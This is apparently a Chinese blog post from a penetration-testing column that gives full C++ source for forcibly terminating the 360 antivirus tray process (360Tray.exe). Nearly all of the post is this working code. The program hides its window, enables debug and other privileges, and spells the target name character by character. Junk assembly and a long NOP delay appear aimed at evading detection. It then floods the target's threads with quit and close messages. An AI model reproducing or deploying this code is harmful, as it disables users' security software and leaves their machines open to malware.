进程强杀之，强杀某60进程

最新推荐文章于 2024-02-17 11:00:30 发布

啊哈灬再现江湖

最新推荐文章于 2024-02-17 11:00:30 发布

阅读量262

点赞数 1

分类专栏：渗透测试与C/C++开发文章标签：网络安全安全系统安全 web安全

本文链接：https://blog.csdn.net/jiopkd1/article/details/128760974

版权

渗透测试与C/C++开发专栏收录该内容

2 篇文章 0 订阅

订阅专栏

这段代码展示了如何使用Windows API获取并强制结束指定进程，如360Tray.exe，通过调整权限、获取进程ID并发送消息来终止相关线程。

摘要由CSDN通过智能技术生成

#pragma once
#include<iostream>
#include<Windows.h>
#include<TlHelp32.h>
#include <winternl.h>
#include <Psapi.h>
#include<stdio.h>

int GetProcessIDByName(LPCWSTR Name);
#define INVALID_PROCESSID_VALUE -1
DWORD TargetProcessID = INVALID_PROCESSID_VALUE;

WCHAR TargetProcessName[512] = { '3','6','0','T','r','a','y','.','e','x','e' };
WCHAR TargetProcessName2[512] = { '3','6','0','t','r','a','y','.','e','x','e' };
//WCHAR TargetProcessName[512] = { 'Q','Q','P','C','T','r','a','y','.','e','x','e'};
void PauseAndExitProcess(UINT ExitCode);

void AdjustPrivileges(LPCWSTR SE_NAME);
int main()
{

   HWND hDos; //声明窗口句柄变量
   __asm
   {
       push eax
       pop eax
   }

   hDos = GetForegroundWindow(); //得到窗口句柄

   ShowWindow(hDos, SW_HIDE); //隐藏窗口

AdjustPrivileges(SE_DEBUG_NAME);
AdjustPrivileges(SE_SECURITY_NAME);

   AdjustPrivileges(SE_TAKE_OWNERSHIP_NAME);
   AdjustPrivileges(SE_AUDIT_NAME);
   AdjustPrivileges(SE_SYSTEM_ENVIRONMENT_NAME);
   AdjustPrivileges(SE_RELABEL_NAME);

   TargetProcessID = GetProcessIDByName(TargetProcessName);
   if (TargetProcessID == INVALID_PROCESSID_VALUE)
   {
       TargetProcessID = GetProcessIDByName(TargetProcessName2);
   }
   HANDLE ThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 1);
   THREADENTRY32 TE32;
   TE32.dwSize = sizeof(THREADENTRY32);

bool CurrentThreadState = Thread32First(ThreadSnapshot, &TE32);

   while (CurrentThreadState)
   {
       __asm
       {
           push eax
           pop eax
       }
       if (TE32.th32OwnerProcessID == TargetProcessID)
       {
           for (int i = 0; i < 4096; i++)
           {
               PostThreadMessage(TE32.th32ThreadID, WM_QUIT, 0, 0);
               PostThreadMessage(TE32.th32ThreadID, WM_CLOSE, 0, 0);
               PostThreadMessage(TE32.th32ThreadID, WM_DESTROY, 0, 0);
               PostThreadMessage(TE32.th32ThreadID, WM_SYSCOMMAND, SC_CLOSE, 0);
               PostThreadMessage(TE32.th32ThreadID, WM_KEYDOWN, VK_CANCEL, 0);

               PostThreadMessage(TE32.th32ThreadID, WM_KEYDOWN, VK_ESCAPE, 0);
           }
       }

       CurrentThreadState = Thread32Next(ThreadSnapshot, &TE32);
   }
   Sleep(500);

   if (TargetProcessID == INVALID_PROCESSID_VALUE)
   {
       //   printf("关闭失败\n");
       PauseAndExitProcess(0);
   }
   //printf("关闭成功\n");

return 0;
}

int GetProcessIDByName(LPCWSTR Name)
{

   for (int i = 0; i < 1000000000; i++)
       __asm nop;
   HANDLE ProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 1);
   PROCESSENTRY32 PE32;
   PE32.dwSize = sizeof(PROCESSENTRY32);

   bool CurrentProcessState = Process32First(ProcessSnapshot, &PE32);

   while (CurrentProcessState)
   {
       if (!lstrcmpW(PE32.szExeFile, Name))
       {
           return PE32.th32ProcessID;

           break;
       }

       CurrentProcessState = Process32Next(ProcessSnapshot, &PE32);
   }
   return INVALID_PROCESSID_VALUE;
}

void PauseAndExitProcess(UINT ExitCode)
{
system("Pause");
ExitProcess(ExitCode);
}

void AdjustPrivileges(LPCWSTR SE_NAME)
{

HANDLE CurrentProcessHandle;

OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &CurrentProcessHandle);
LUID Luid;

LookupPrivilegeValue(NULL, SE_NAME, &Luid);

   TOKEN_PRIVILEGES TokenPrivileges;
   TokenPrivileges.PrivilegeCount = 1;
   TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
   TokenPrivileges.Privileges[0].Luid = Luid;

AdjustTokenPrivileges(CurrentProcessHandle, false, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}